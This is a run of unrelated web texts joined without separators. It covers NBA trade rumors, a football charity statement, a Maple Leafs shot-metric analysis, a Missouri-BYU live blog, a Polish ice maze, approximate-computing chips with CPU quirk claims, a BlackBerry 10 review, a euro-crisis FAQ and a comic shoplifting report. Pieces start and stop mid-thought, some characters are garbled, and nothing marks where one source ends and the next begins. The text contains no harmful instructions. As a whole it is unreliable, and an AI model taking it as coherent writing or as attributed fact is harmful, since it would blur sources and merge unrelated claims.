The Rockets, according to league sources, were among the teams that looked into acquiring Mike Dunleavy last week when Atlanta was initially searching for a third team to get involved in the Kyle Korver trade with Cleveland. Sources say Houston is not currently itching to make a move -- why would you want to change much at 31-10? -- but these are still the uber-aggressive Rockets. So count on them to stay on the lookout for an extra shooter or one more big man as the Feb. 23 trade deadline draws near. Sources say, furthermore, that swingman K.J. McDaniels has emerged as the most likely Rocket to move this trade season ... more likely now than Corey Brewer. Our own Zach Lowe reported recently that the Rockets were gauging Brewer's trade value, but Brewer has since moved back ahead of McDaniels in D'Antoni's rotation.
‎The Cavs might not necessarily be done with trades for the season. LeBron James still wants a certified backup point guard to ease Irving's regular-season burden -- as you might have heard -- and Cleveland still has $4.4 million left of its Anderson Varejao trade exception to use post-Korver to take in additional salary before the exception expires Feb. 20. So a free-agent signing, such as Mario Chalmers, Jarrett Jack or Norris Cole, isn't the Cavs' only option.
Stan Van Gundy has openly scoffed at the suggestion that Detroit is looking to trade Reggie Jackson amid ‎the disappointing Pistons' 18-23 struggles. Yet there's a growing impression around the league that, at the very least, Kentavious Caldwell-Pope has moved past Jackson onto Detroit's short list of untouchables, alongside Andre Drummond.
It remains to be seen whether Portland proves to be as active in the trade market as many league observers expected coming into the season, but here's a pertinent bookkeeping note: Allen Crabbe, Maurice Harkless and Meyers Leonard all finally become eligible to be traded Sunday after the big deals all three signed over the summer.
Horford will play his first game as an Atlanta visitor Friday night when the Hawks entertain Horford's Celtics‎.
The Tribute Trust is a unique voluntary charity which was established in 2002.
Commenting on the Tribute Trust's work, Chairman Jonathan Adelman said: "The Club has quietly and consistently continued to support the Tribute Trust. This support enables us to continue our work in an environment where we can rarely talk about what we do. As a registered charity we have to respect the confidentiality of those who we help. As a result, much of what we do to help our legends can never be shared publicly. In this case we have been in touch with Jimmy's family for some time. With Jimmy now at home continuing his recovery we are able to let our fans know that we are helping. Our assistance will cover Jimmy's stroke rehabilitation and some home improvements which will make Jimmy's day to day life more comfortable as he continues his recovery.
"Over the years we have been able to help many of our former players whether it be with the funding of operations or longer term care, these include the likes of legends such as Les Allen, Dave Mackay, Ron Henry, Bobby Smith and Gazza.
To Toronto’s credit, they have – this time around, anyway – recognized the team’s fatal flaw. They are consistently and emphatically out-shot on most nights. The organization’s efforts to target a couple of possession drivers this off-season (see Mike Santorelli and Daniel Winnik) have improved the team, marginally, at five-on-five. But, it’s not enough. Not yet, anyway.
While it’s nice to have an improved bottom-six or a couple of decent third-pairing defensemen, most observers of the sport recognize that the team’s most frequently deployed players are going to be the ones creating the wins and losses long-term. Ice time is in direct correlation with game impact, and that’s why your first-liners and first-pairing defensemen are paid the most money.
This is Toronto’s problem. The first-line is routinely caved in, and when the goals dry up, they certainly look the part of one of the worst top trios in the National Hockey League.
To illustrate this, I graphed out the performance of each team’s first-line to start the year using RelativeCorsi% (team difference in Corsi% when a player is on the ice versus off) and RelativeGoal% (team difference in Goal% when a player is on the ice versus off). For Toronto, that’s the Bozak line (though I do note that the coaching staff has really started to give bigger minutes recently to the Kadri group).
Let’s take a look at all thirty teams:
It makes intuitive sense that first-line talent should out-perform second, third, and fourth-line talent on the same team. Look at the horizontal axis divide (“RelativeCorsi%”) and note how basically every team is better off with the first line on the ice than off. Only Florida, Buffalo, Arizona, and Toronto have first-lines generating unfavorable possession relative to their teammates. Of course, Buffalo and Florida’s first-lines are at least generating favorable goal differentials relative to the team average, and Arizona’s within the realm of break-even.
Toronto’s top-line has been territorially bludgeoned all season long and, sometimes, it’s hard to explain why. Phil Kessel is generally regarded as one of the league’s elite wingers, and it’s not as if James van Riemsdyk – who scored 30-goals one season ago – grades low on talent. This year, primarily due to an improvement in Toronto’s depth forwards, the front-line has been relatively more exposed – when the first-line comes off, Toronto’s possession significantly improves. And when the first line gets back on, possession significantly declines.
The problem, as you might guess, comes on the defensive side of the game. It was the problem when Bozak and Kessel were united back in 2009-2010, and it’s progressively worsened even with the addition of van Riemsdyk on the wing. To show the line’s defensive woes, we can look at how teams have been able to generate shot-attempts against this trio over the years. For record, the average forward is on ice for about 55 shot-attempts against per 60 – we’ll use this as break-even in the graph below.
I have long recognized that Kessel, Bozak, and van Riemsdyk likely possess slightly above-average shooting skill relative to the league norm, but I don’t think it’s nearly enough to offset how dreadful they are from a territorial aspect. Even if you subscribe to the theory that Randy Carlyle’s responsible for a collective possession drag, it’s not really a justification for how awful this group is defensively – for five years (and counting), their less-talented teammates have managed to perform significantly better in limiting shot-attempts against.
I’m not sure what the coaching staff or front office does in the short-term – this is the roster that has been assembled, and aside from re-assembling the top-six to more prominently feature Nazem Kadri (which has been tried in the past), there’s not a whole lot you really can do other than hope and pray for another percentage-fueled run.
The Tigers had just wrapped up a 20-16 win over BYU and Missouri's players crashed his post-game on-field interview with the SEC Network.
They wanted him to reprise the "GP" dance he did after the Tigers won the Cotton Bowl in 2013. How could he deny?
The win came after a week of tumult and uncertainty for Missouri (5-5). It started with the football team's boycott in support of hunger striker Jonathan Butler -- which ended with the resignation of University of Missouri System President�Tim Wolfe -- and rolled through Pinkel's surprise announcement Friday that he'd be resigning at the end of the year, along with the revelation that he's been battling non-Hodgkin lymphoma since May.
All that seemed far away Saturday, though, as the Tigers rolled up a season-high 434 yards of offense and used two fourth-quarter touchdowns to end a five-game win streak for BYU (7-3).
Drew Lock threw for a career-high 244 yards on 19 of 28 passing and Russell Hansbrough became the first Tigers back to run for 100 yards this year with 117 yards on 26 carries.
Missouri's defense held BYU to 290 total yards, with 244 on 23-of-41 passing from Tanner Mangum.
Kentrell Brothers led the team with 11 tackles, and Brothers and Michael Scherer both recovered fumbles for the Tigers defense.
BYU led 10-6 going into the fourth quarter after an 11-yard Algernon Brown touchdown run with 6:21 left in the third, but a 4-yard�J'Mon Moore catch from Lock and a 1-yard�Tyler Hunt plunge put Missouri up for good.
And Pinkel danced.
Fourth Quarter
7:19 to go -- MU 20, BYU 16: Kenya Dennis. Bruh.
On a 3rd-and-10 from Missouri's 12, Dennis looked as if he got away with a pass interference on Nick Kurtz�to set up a fourth down off an incompletion. Then he jumped up and down in front of Kurtz and made the incomplete sign and got called for a taunting penalty to give the Cougars the ball at the Missouri 6.
Two plays later,�Tanner Mangum hit�Francis Bernard on a crossing route out of the backfield and he ran by�Michael Scherer in single coverage for a 6-yard score to polish off a 10-play, 72-yard drive.
Logan Cheadle also helped the cause with a 15-yard pass interference on 2nd-and-11 to set BYU up at the Missouri 31.
The Tigers' pass defense has not been great these past two weeks.
Trevor Samson�missed the extra point, which could loom fairly large. A field goal no longer ties, after all.
10:03 to go -- MU 20, BYU 10: Marcell Frazier and�Michael Scherer deserve an assist on Missouri's first two-score lead since the South Carolina game.
Frazier sacked�Tanner Mangum for Missouri's first of the game and forced a fumble, which Scherer recovered at the BYU 16.
And, six plays later -- and after a review when the officials called him down at the 1 when he had clearly broken the plane --�Tyler Hunt went in from a yard for his first career rushing score.
But there was some hardship.
J'Mon Moore got called for his second offensive pass interference of the night to negate a�Nate Brown touchdown and move Missouri back to the 25.�
On a 3rd-and-19,�Drew Lock kept on a read option and went 23 yards down the visitors sideline for a first down at the 2.
Three plays later, Hunt was in. After a review of course.
Defense and offense working in synergy. Ain't it a beautiful thing?
13:03 to go -- MU 13, BYU 10:�Twice, this drive should have been over without a touchdown. But twice, the Cougars couldn't get out of their own way.
The first time,�Drew Lock heaved a pass into (at least) quadruple coverage toward�Wesley Leftwich in the end zone, and�Kai Nacua intercepted it. But�Michael Davis also tackled Leftwich for, really, no reason to get called for pass interference down to the 9.
The second time, Lock threw a screen to�Russell Hansbrough, who got blown up for a 6-yard loss back to the 18. But�Sae Tautu smacked him late and in the helmet to draw a targeting call down to the 6 and an ejection. And Missouri continued.
Lock finished it off with a 4-yard touchdown on a fade route to�J'Mon Moore --�over Davis, of course -- on 3rd-and-Goal to put Missouri back up.
It was Lock's first touchdown pass since Oct. 3, a span of 160 throws. He's got 209 yards on the game, making him the first 200-yard passer for Missouri this season.
Third Quarter
6:21 to go -- BYU 10, MU 6:�The first time BYU drove into the Missouri red zone in the third quarter,�Kentrell Brothers recovered a fumble to stop the bleeding.
But�Drew Lock gave it right back on an underthrown ball to�Wesley Leftwich that�Micah Hannemann picked off and returned to the Missouri 41.
OK. So the Tigers bowed up and forced BYU into a 38-yard field goal on 4th-and-4. Then�Walter Brady moved abruptly before the snap to try and draw a false start -- according to the officials -- to give the Cougars a 5-yard delay of game and new life at the Missouri 16.
Not sure I've ever seen that call before.
Anyway,�Algernon Brown took a delayed handoff on 3rd-and-5 two plays later, slipped through an arm tackle from�Thomas Wilson -- who, with a pass interference earlier in the frame, is having quite the rough half -- and went untouched the rest of the way for an 11-yard touchdown.
And Missouri trails. After running 49 plays in the first half, the Tigers have just three for 19 yards in the second. BYU has 78 on 18 and is outpossessing Missouri, 7:35-1:07.
Not trending in the right direction for the Tigers.
Half
MU 6, BYU 3:�Bronco Mendenhall called his last timeout to preserve 54 seconds for the Cougars to try and answer Missouri's score, then the kick return brought BYU out to the 31.
Good start.
Two runs yielded a first down but bled so much time off the clock that, when the Cougars ran a trick, behind-the-back flea flicker pass from�Tanner Mangum to�Nick Kurtz that gained 22 yards, the clock ran out into halftime.
Strange.
Anyway, that's where we are.�
Missouri outpossessed BYU, 20:35-9:25, and ran 49 plays against 23. That's more time and plays than the Tigers had all game against Georgia.
They also gained 234 yards in the half, which is more than they gained against Georgia or Vanderbilt.�
Drew Lock completed 12 of 20 passes for 128 yards and�Russell Hansbrough ran 15 times for 63 yards as the Tigers piled up 106 yards on 29 carries.
Tanner Mangum completed 9 of 14 passes for 117 yards for BYU -- with three for 67 going to Kurtz -- and the Cougars ran only nine times for 39 yards.
Harvey Langi has eight tackles to lead BYU and�Kentrell Brothers -- whose name rings a bell, but I'm not entirely sure I've ever heard it before... -- had seven tackles in the first half.
It's a game, really, Missouri should be winning by more. But an�Ish Witter lost fumble and some red-zone futility -- nine plays, 17 yards, a 15-yard�J'Mon Moore offensive pass interference that wiped out a touchdown -- has made it closer.
To the second half we go. BYU gets the ball to start.
Second Quarter
0:54 to go -- MU 6, BYU 3:�Another long, methodical drive in which the Tigers bludgeoned the Cougars down the field into the red zone and ended up with...another field goal.
An 11-yard rollout pass from�Drew Lock�to�Jason Reese on third down brought the Tigers to the 14, but�Russell Hansbrough immediately lost 5 yards to submarine all hope of a touchdown.
Andrew Baggett's�34-yard field goal gave the Tigers a 6-3 lead. And, even though Missouri has only seven touchdowns in 25 red-zone attempts...at least the Tigers are winning?
Missouri ran 18 plays for 65 yards in 6:29. And got a field goal.
Oh well.
7:29 to go -- MU 3, BYU 3:�The Tigers had a promising drive that fizzled out at the 50, and�Tanner Mangum got things going back the other direction with a beautifully lofted 32-yard pass to�Nick Kurtz over his shoulder and�Logan Cheadle in man coverage.
Then, on 3rd-and-11,�Charles Harris dropped into coverage, didn't drop deep enough and had no help on back�Francis Bernard, who went down the sideline for 35 yards to the Missouri 9.
Kentrell Brothers, though, broke up a sure touchdown in the flat to�Mitchell Juergens, and the Cougars had to settle for a 23-yard�Trevor Samson field goal.
So both teams have ventured inside the 10 and neither has scored a touchdown. Alright, then.
First Quarter
0:56 to go -- MU 3, BYU 0:�Nate Crawford hurt his left leg and�Alec Abeln came in at left guard.
Mitch Hall had a rough start and�Kevin Pendleton came in to replace him at right guard.
And it seemed to work real well for the Tigers as they went 68 yards on 12 plays and ended with a 23-yard�Andrew Baggett�field goal.
The Tigers ran seven times for 23 yards on the drive and�Cam Hilton made two catches for 28 yards, a 15-yarder in which he sprawled out to bring it in from�Drew Lock on a dive and a 13-yard screen in which�Emanuel Hall made a nice block to spring it.
Inside the 10 has been an issue, though. After a�J'Mon Moore push-off wiped off a touchdown and led to a lost fumble on the previous drive, Missouri got 4 yards on three plays from the 8 on this one to set up the field goals.
Missouri is, however, a healthy 3 of 6 on third down and is outgaining BYU, 128-40.
Still, the lead should be bigger with that yardage though.
We're in Kansas City for Missouri at BYU. Or, as we know it in these parts, the last of eight games�Gary Pinkel will have coached Missouri in at Arrowhead Stadium.
There was some drama this week, if you haven't heard. There could be some drama tonight, maybe, as the Tigers look to end a four-game losing streak and the Cougars look to extend their five-gamer.
We'll have pre-, mid- and post-game updates in this space as they happen.
Safety�Tavon Ross is not in the stretching lines after suffering an undisclosed injury against Mississippi State last Thursday.Rickey Hatley is back after missing the Bulldogs game, second-string behind�Josh Augusta at defensive tackle.
Until then, catch up on the week that was with our coverage:
Saturday
Pinkel is stepping down at the end of this season, as he undergoes treatment for non-Hodgkin lymphoma.Esteemed colleague and boss�Joe Walljasper�encapsulates all 15 years of the Pinkel era, and his upcoming legacy, in this column.Esteemed colleague�Steve Walentik brings you a timeline of the 15 biggest moments of Pinkel's 15 years.
After a week of trying times, the challenge for Missouri against BYU is to focus on playing, you know, football.Esteemed colleague�Blake Toppmeyer writes about how, with Missouri's high APR score, the Tigers may actually be in line for a bowl game at 5-7 this year.Toppmeyer back, with a yarn about BYU safety�Michael Wadsworth, who has taken the long way to being the Cougars' top tackler.stats, players�and other stuff to watch in the game.And our pre-game rundown post runs you through all the ins and outs of the MU-BYU matchup.
Friday
Former players react to Pinkel's resignation.Is the Missouri player boycott the start of a bigger movement in athlete activism?The Salt Lake Tribune's�Jay Drew takes us "On the Beat" to teach us about those BYU Cougars.A replay of the always entertaining "Behind the Stripes" live chat.
Thursday
Pinkel tries to move his players past the protest and toward the BYU game.Missouri's busting out new, all-white jerseys for its trip to Arrowhead.Toppmeyer back, writing about how BYU Coach�Bronco Mendenhall learned up on Missouri's campus unrest.
Wednesday
Pinkel's words from the SEC teleconference, with his fellow conference coaches commenting on Pinkel's role in the revolt.
Tuesday
Missouri's main conduits to Concerned Student 1950 talks about their role in the protest.Toppmeyer back, with news onPinkel and�Mack Rhoades saying they did the right thing supporting the players.Walljasper back, writing about how he admires Missouri's activism, but he isn't sure about the endgame.Pinkel, on Kansas City radio, says the "#ConcernedStudent1950" hashtag shouldn't have been on the original tweet supporting the players.�Westran grad�Tyler Hunt made the Burlsworth Trophy list of candidates for the nation's top player who started his career as a walk-on.
Monday
Would you like to get lost in the cold, with walls of ice so high that you can’t see above them?
Then we have found your perfect holiday destination.
Book your ticket to Zakopane in Poland, where people are loving this maze carved out of snow and living their dreams of swanning round an igloo palace (or getting stuck in an industrial freezer).
It opened yesterday in the mountain resort around two hours from Krakow, and offers something a little different to the usual apres-ski.
This video show Emily Meadows and Jacek Bulak exploring the attraction:
Emily along with Megan Schwabauer posted on a Krakow tourism blog: ‘If wandering through the world’s largest ice maze sounds insane, that’s because it is. It took weeks to build and has solid 7ft walls of ice.’
That’s exactly the opposite of how computers are typically built. Semiconductors today are manufactured to tolerances of a nanometer or less, fab air quality is controlled to the point where contaminants are measured in parts-per-trillion, and we’re working on building chips using wavelengths of light just 40nm wide. But it’s precisely because manufacturing to such tight tolerances is so difficult that scientists are working to find ways to build chips that can handle failure gracefully — and in some cases, even embrace imprecision.
Christian Enz, the new Director of the Institute of Microengineering, believes that the time for “good enough” is now, and is pushing research into the new field. According to Enz, “the ‘good enough’ approach has been getting some traction in the corporate sector, because chipmakers can’t see any real alternative. Intel, for example, is interested in ‘good enough’ engineering. In addition, there are teams of research scientists working on it all over the world.”
Perfect imperfection
First, the good news. If an application can tolerate “3.14” as opposed to “3.14159265358,” you can save quite a bit of power in computation. In some cases, you may be able to improve performance by leaving off significant figures, though this is highly application dependent. Power savings is the major goal — and simplified circuit design. Today, a great deal of work is done to ensure that circuits will return the proper results every single time. Since chips are extremely complex and defect densities are notoriously difficult to control, engineers compensate with additional circuitry that adds die size and reduces the performance and power consumption benefit of moving to a smaller process node.
Start jumping into processor manuals, and you quickly find evidence that this process doesn’t always work properly. Here’s a few examples, drawn from the CPU manuals of analyst Agner Fog:
Intel’s Ivy Bridge prefetches one instruction every 43 cycles. Sandy Bridge prefetches two instructions per clock cycle.
AMD claims Bobcat and Jaguar can decode up to 32 bytes per clock cycle. In reality, the two chips top out at 16 bytes per clock cycle.
Intel’s 45nm Atom, which debuted in 2008, has always had an FPU bug. Two consecutive FPU instructions fail to pair and instead are executed with a delay of one clock cycle between each instruction.
AMD’s Bulldozer and Piledriver handle 256-bit AVX instructions very poorly. Piledriver has a latency of 17-20 cycles when storing 256-bit AVX instructions.
And these are just a handful of the high level problems. Both Intel and AMD errata manuals contain pages of documentation on even lower-level bugs that occur in every version of a chip.
But, wait. There is more! I had mentioned in my likes/dislikes that I was interested in piano sheet music. Well, my very awesome SS did some research and made a disc for me with the audio tracks and corresponding sheet music of some fun & "spooky" songs. I am about to start printing them now.
According to an interview with Siliconera, the sequel to Remember Me is "ready to be made," as the main story is already fleshed out. But while the game's concepts are apparently prepared, developer Dontnod says the next step is dependent upon publisher Capcom.
"We know what we would do for Remember Me 2," said Dontnod creative director, Jean-Maxime Moris. "The main story has been written we know what we would add to the recipe. We know what we would fix. It’s a game that’s ready to be made, but that decision is Capcom’s to make."
Exit Theatre Mode
While 2013's Remember Me was obviously a very stylish game, and incorporated some unique gameplay concepts, the overall reception for the game was a bit lackluster. IGN's review noted repetitive gameplay and some bland platforming as negative aspects within an otherwise interesting world.
Moris also noted Dontnod has "started the very early stages" of looking at a second season of the studio's episodic game, Life is Strange.
Update: The BlackBerry launch has come and gone with lots of news for folks who have been tracking the “Crackberry” comeback over the past year or so. All of the major blogs have weighed in on the new name, OS and devices and the reviews are mostly positive. While, Wall Street did not react the same way, many early reviews highlight competitive specs and a completely revamped OS. While we all need to wait to get a good hands-on with the device, let’s take a look at the devices and the OS that powers them.
BlackBerry Z10
The BlackBerry Z10, built on the same chassis as the BlackBerry Dev Alphas that developers have been testing their apps with, is an all-touch device with a 4.2-inch screen with a resolution of 1280 x 768 pixels. The screen is said to be fair; not as good compared to the iPhone 5 or high end Android devices, but worthy of your average smartphone user. The phone is powered by the ever-popular, 1.5GHz dual-core Snapdragon S4 Plus processor and 2GB of RAM. In addition to 16GB of internal storage, the BlackBerry Z10 features removable memory (up to 32GB) and battery which will be appreciated by power users near and far. Battery life, however, is still yet to be determined. This will be an important factor when business users decide whether or not to switch (back) to BlackBerry. There is an 8mp rear shooter with a 2mp front camera capable of capturing 720p video. Bluetooth 4.0, NFC and WiFi radios are present, as is an LTE radio capable of connecting to AT&T, Verizon Wireless, T-Mobile and Sprint service. However, a favorite hardware feature is the all-to-familiar LED notification light. That infamous red light has ruined lives a many.
Check out the rest after the break.
Overall, the Z10 looks like a really nice device for consumers. The specs could be a little better of course. BlackBerry has a history of playing from behind in the hardware game, but as long as the OS is crisp and device feels like a premium device, and the average consumer is not going to care what’s inside.
The Blackberry Z10 will be available in mid-March in black or white (Verizon exclusive). Verizon Wireless was the only carrier to provide pricing, which is currently set at $199 with a two-year contract.
BlackBerry Q10
For power/business users or real estate agents who still rely on hardware keyboards, the Z10 might not satisfy your palette. But BlackBerry has you covered. The Q10 is basically a supercharged version of the last Bold series of BlackBerry smartphones.
There wasn’t a whole lot of information about the Q10, but what we do know is that it shares almost all of the same specs as the Z10–A 1.5GHz dual-core processor, 2GB of RAM and 16GB of storage. The cameras are exactly the same. The only two differences are the smaller 3.1-inch AMOLED touchscreen with a lower resolution and of course, the hardware keyboard.
While we don’t know what the price of the Q10 will be, BlackBerry has announced that this device will be available sometime in April.
Without actually using the device, we can’t speak about the functionality of the keyboard, however it looks exactly like the standard Bold keyboard BlackBerry users know and love. We’re a bit torn between using this device and the Z10 (without actually handling it). Obviously, for multimedia and web-browsing, the Z10 is going to dominate. But for the core of BlackBerry users, the Q10 might be everything they have been waiting for: An extremely powerful communication device with an OS capable of performing all of the software functions of 2013. Up to this point, the BlackBerry OS has kept its original profile and feel, causing each and every device to feel outdated out of the box. Speaking of software, let’s take a look at the new OS that powers these devices.
Blackberry 10
What is a high-end smartphone today without a an equally polished operating system? As stated previously, although the last line of BlackBerry smartphones were gorgeous, the dated operating system forced them to be DOA. This time around, BlackBerry teamed up with the makers of the QNX operating system to deliver a revolutionary experience for potential buyers. While this is the first time QNX has developed an operating system for smartphones, it seems like they have brought their wealth of experience in developing modern, user-friendly user interface to the BlackBerry platform.
Crackberry has posted an extremely thorough and in-depth look at the new BlackBerry 10 OS, so we encourage all of our readers to check that out.
BlackBerry Flow
The new home screen experience in BlackBerry 10 is certainly a breath of fresh air from BlackBerry. It is not only a drastic change from anything they have done before, but completely different than anything else we have seen from any other manufacturer which is fairly hard to achieve these days. The home screen ties notifications (The Hub), an application switcher (Active Frames) and the standard list of apps all together with the Flow experience. Swiping back and forth through these different screens seems to be fairly smooth. Flow delivers a unique take on the smartphone home screen, hopefully in a way that is intuitive, rather than confusing to users.
Software Keyboard
At Tech Void, we have a love/hate relationship with software keyboards. While they do make room for a better browsing experience and videos, they more often than not provide a frustrating typing experience; the reason they are there in the first place. BlackBerry’s take on the software keyboard is certainly interesting, but time will tell as to how users’ fingers will reap the benefits. The key selling point is the predictive text. Here is Crackberry’s explanation:
Instead of showing suggested predicted words above the virtual keyboard as in previous touchscreen BlackBerry devices, suggested words float on those frets above the next letter in the word. To insert the word, you just swipe up from the key. For example, if you want to type “juxtaposition”, you would tap “j”, “u”, and “x” as normal, but over the “t” key on the fret would be the whole word; if your finger makes contact on the “t” key and flicks upwards, the word “juxtaposition” would be inserted wherever you’re typing. As flashy as that is, the best part is you don’t have to type that long-ass word anymore. The keyboard might predict “juxtapose” instead, in which case you could still pick it, backspace, and get new prediction options (in this case over the “i” key). Over time, the user dictionary learns which words are used most frequently and in what order they’re used to offer more accurate predictions.
This form of predictive text is clearly different than anything currently on the market and something that will definitely either be a make or break for BlackBerry users making the transition from a device with a hardware keyboard.
BlackBerry Balance
BlackBerry Balance is probably my favorite feature included in BlackBerry 10. Introduced on the Playbook tablet, Balance blends your corporate lifestyle with your personal lifestyle. BlackBerry has always had an extremely strong corporate user base and they are showing love to their business users with this creative blend of security and productivity. With the swipe of a finger, users can switch between a device full of Angry Birds and Pop music to a corporate accessible device that can even run enterprise apps developed by the organization. The IT department will only have access to the corporate side of your device, leaving your personal contacts, reminders and photos untouched. We would love to see this feature built out more as business users start using their device.
In Conclusion
We are very impressed with everything from today’s announcement from BlackBerry. The pricing seems to be inline with all of the flagship smartphones currently available and while some say the specs are disappointing, but BlackBerry can get away with the current hardware as long as the OS is smooth and glitch-free. The future of the entire organization rests upon the success of these and future BlackBerry 10 devices so the software and services are probably more valuable to BlackBerry in the long run. Rumors of a buyout are still swirling and the stock price has been extremely volatile in recent weeks, but come March/April, we should have a clearer picture of BlackBerry’s future in the mobile market.
With a second election in Greece coming up this weekend, I’m struggling as much as anybody else to keep up with developments. But here is a quick F.A.Q. about the Spanish bailout and its aftermath, starting with today’s action on Wall Street:
Q: Isn’t the market’s reaction simply a consequence of the old trader’s rule: buy on rumor, sell on the news?
A: To be sure, there is some of that. But the sheer complexity of the situation is also playing on investors’ nerves and preventing what Europe desperately needs: some confidence that the policymakers are finally on top of things. With another election in Greece set to take place this weekend, and with many of the details of the Spanish bailout yet to be determined, the markets simply don’t know how to assess the situation. And where there is uncertainty, there is selling. Today, yields on Spanish and Italian government bonds actually rose slightly, which is the opposite of what might have been expected.
Q: Why does Spain even need a bailout? Haven’t governments in Madrid been insisting for years that the country could stand on its own two feet?
A: Yes, they have been saying that, and with some cause. Spain isn’t Greece. Until the financial crisis began, in 2008, it was running a budget surplus. The government had relatively little debt, and the banking system was held up as a model of supervision and rectitude. What did in Spain was the same thing that did in Ireland: the bursting of a big real-estate bubble, which had been fueled by low interest rates set in Frankfurt. As house prices fell and foreclosures mounted, many of Spain’s savings banks, which were big players in the mortgage market, got overwhelmed. Over the past few months, it has become clear that the savings banks can’t raise enough capital to rescue themselves, and the Spanish government can’t afford to do it: its borrowing costs have been rising rapidly, and issuing bonds to finance a bank bailout wasn’t really a practical option. Finally, late last week, Spain asked its euro partners for help.
Q: And Europe reacted pretty rapidly, right?
A: It did. From that perspective, what happened over the weekend was pretty impressive. Rather than hemming and hawing for months, which is the E.U.’s usual M.O., the other governments agreed in a single conference call to extend up to a hundred billion euros (about a hundred and twenty-five billion dollars) in credit to Spain’s banks. That’s actually rather more than many experts think the banks will need. A recent report from the International Monetary Fund put the financing requirement at forty billion euros. But E.U. officials wanted to demonstrate that they are capable of behaving in a decisive manner.
“This is a very clear signal to the markets, to the public, that the euro zone is ready to take determined action,” Olli Rehn, the E.U.’s commissioner for economic and monetary affairs, said on Sunday. “This is preëmptive action.” Many knowledgeable commentators applauded. On his blog at FT.com, my old pal Gavyn Davies noted that in providing a way to deal with the Spanish banking crisis, the weekend action “removes one of the key structural weaknesses which has undermined confidence in the Euro for months.”
Q: Where is the money coming from? German taxpayers?
A: No, or not exactly. It is coming from taxpayers throughout the euro zone. In the past couple of years, the Europeans have set up two bailout funds, which are financed by contributions from all members of the union. One of these funds, the European Financial Stability Facility, is already up and running. It provided some of the money for the earlier bailouts. The other fund, the European Stability Mechanism, is set to start operating next month. It’s not clear yet which one of these bodies will provide the money to Spain. That’s one of the things that has spooked the markets a bit: the details of the bailout haven’t yet been nailed down.
Q: Who will get the money? Will it go straight to the Spanish banks?
A: No. The E.U. will extend loans to an agency of the Spanish government that is overseeing the troubled banks, and that agency will distribute the funds as needed. But this structure raises another potential problem. Since the Spanish government will officially be taking on the loans, its overall debts, which have been rising sharply in the past few years, will rise even further—to more than a hundred per cent of G.D.P., according to some calculations. One of the risks of the bailout, therefore, is that it could transform a Spanish banking crisis into a Spanish sovereign-debt crisis. (That is what happened to Ireland.)
Q: So, does this mean that Spain is now officially a bailed-out basket case? Will it be reduced to the status of Greece, Ireland, and Portugal, with outsiders dictating its every move?
A: That’s not quite clear, either. Officially, this isn’t a bailout of the Spanish government. It is a recapitalization of the Spanish banking system by one of the European stability funds. Over the weekend, Spanish Prime Minister Mariano Rajoy insisted that his government had retained full sovereignty and wouldn’t be subjected to outside supervision. But on Monday, this picture got clouded. Wolfgang Schäuble, the German finance minister, and Joaquín Almunia, the E.U.’s competition commissioner, insisted that, as in the earlier bailouts, a “troika” of the International Monetary Fund, the European Commission, and the European Central Bank would oversee the process. “Of course there will be conditions,” Almunia told Spain’s Cadena Ser radio. “Whoever gives money never gives it away for free.”
Q: So what does it all mean? Is the euro crisis any closer to being resolved?
A: Yes it is, but there’s still a long way to go, and the outcome is hard to predict. All along, partly out of sheer contrarianism, I have stood with the minority of commentators who believed that the euro zone wouldn’t break up—that European policymakers would eventually find a way to muddle through. The Greek election and the financial deterioration in Spain have tested this hypothesis, almost to breaking point. The euro can conceivably still survive, with or without Greece, but for this to happen, a number of steps have to be taken urgently.
The first—dealing with the Spanish banking crisis—appears to be in hand. The second is sorting out what’s going to happen in Greece. Assuming the traditional center parties get enough votes this weekend to cobble together some sort of coalition, which is what the latest opinion polls are suggesting will happen, the country will hobble along inside the euro zone for at least a while longer. It will then be up to Merkel and François Hollande, the new French President, to put together, at least in embryonic form, some sort of fiscal union to complement the monetary union.
Pie in the sky? Perhaps. But Merkel did say last week, “We don’t only need monetary union, we also need a so-called fiscal union.” In Brussels, there is talk of creating the framework for a banking union, which would be a critical component of a broader fiscal union, as early as an E.U. summit later this month. The establishment of E.U.-wide deposit insurance, plus a system to allow European regulators to take over troubled banks, would help prevent problems in Spain, say, from spilling over into other countries.
Finally, the Europeans need to find some way to get their economies growing again; austerity by itself is a self-defeating strategy. We saw that in Spain, where governments of both major parties adopted budget cuts and faithfully swallowed the German medicine only to see unemployment soar and the economy fall back into recession. If the tentative economic recovery that began last year had continued, and house prices had stabilized, then the country’s banks would have been in much better shape.
Q: So what would a European growth strategy look like?
A: The general outline is pretty straightforward. It would combine structural reforms at the micro-level—getting rid of red tape, making people pay their taxes, eliminating restrictions on hiring and firing, and so on—with stimulative policies on the macro level. The European Central Bank, which has already lent a lot of money to Europe’s banks, would step up its actions—pumping more money into the economy and bringing down the value of the euro, which has already fallen in value, but not by enough. On the fiscal side, Germany and other countries that still have sound finances would allow the struggling periphery countries more leeway in balancing their budgets and repaying their debts. The E.U. as a whole, through the issue of Eurobonds, or some other financing mechanism, would launch a stimulus program directed at countries like Spain, Italy, and Ireland.
Q: And how likely is this to happen?
A. Not very. Taken as a whole, Europe still has the resources and capabilities to solve the debt crisis. Summoning the political will has always been the main barrier to progress. Even now, in Germany but also in other countries, there is a lot of public opposition to taking the costly and difficult measures that are necessary. Which is why, even though I haven’t given up on the euro, I still can’t call myself much of an optimist.
Ocala, Florida
Allison and Laura loaded up their son's diaper bag with On Sunday, July 22 of 2012, sisters Allison and Laura Niemeyer made a trip to their local Walmart along with Allison's 1-year-old son. This was not, however, going to be a simple shopping trip; it was a heist.Allison and Laura loaded up their son's diaper bag with $60 worth of Walmart merchandise . Included in their haul were 4 women's t-shirts, a bathing suit, and a package of men's white undershirts. Unfortunately for the criminal duo (trio if you count the one that can't use a toilet yet), a Walmart loss prevention officer caught the pair as they tried to leave the store and ordered them to come back inside
Allison already had a fairly extensive criminal record and was still under a court ordered house arrest until 2021 (!) for attempted robbery. Knowing that her illegal excursion to Wally World (and her subsequent attempt at shoplifting) would mean a trip to the jail, Allison took off for the vast and dangerous expanse that is a Florida Walmart parking lot.
They may drive slowly, but they also travel in packs and are still quite dangerous.
Laura remained with Allison's child and decided to take the fall for her sister by staying with the Walmart loss prevention officer...for all of about 30 seconds. She wrestled free from the employee and bolted after Allison into the parking lot, where the sisters were picked up by a blue van and spirited away.
In fact, both women probably agonized over how they may never see their beautiful baby boy again...while they were As police began their manhunt for the sisters, the Department of Children and Families took in the baby , who had surely been abandoned by his mother and aunt due to a desire on their part to keep him from the life of crime they had decided to lead.In fact, both women probably agonized over how they may never see their beautiful baby boy again...while they were cutting a rug at a local dance club that same evening...in the same town as the Walmart they had just tried to rob that morning.
Clubbing: A great way to relieve stress
